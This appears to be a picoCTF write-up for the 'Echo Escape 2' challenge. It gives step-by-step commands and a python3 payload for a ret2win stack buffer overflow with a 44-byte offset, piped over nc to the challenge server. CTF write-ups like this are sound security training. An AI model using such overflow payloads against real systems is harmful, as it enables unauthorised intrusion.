Echo Escape 2 Writeup

Here is the exact writeup of how I solved it, step by step, including the tools I used.

Files and tools used

• Files: vuln (1), vuln (1).c
• Tools:
• file
• checksec
• objdump
• python3
• nc

1) Inspect the binary

file "vuln (1)"
checksec --file="vuln (1)"

Observed a 32-bit non-PIE target suitable for ret2win.

2) Find win() address

objdump -d "vuln (1)" | rg "<win>"

Address used:

• 0x08049276

3) Calculate EIP overwrite offset

objdump -d "vuln (1)" | sed -n '/<vuln>:/,/^$/p'

Stack math:

• buffer at ebp-0x28
• saved return at ebp+0x4
• offset = 0x28 + 0x4 = 0x2c = 44

4) Build payload

python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*44 + struct.pack("<I",0x08049276) + b"\n")'

5) Exploit remote

python3 -c 'import sys,struct; sys.stdout.buffer.write(b"A"*44 + struct.pack("<I",0x08049276) + b"\n")' | nc dolphin-cove.picoctf.net 53772

Why it works

fgets(buf, 128, stdin) overflows buf, overwrites saved return address, and returns into win().

Final flag

picoCTF{<redacted>}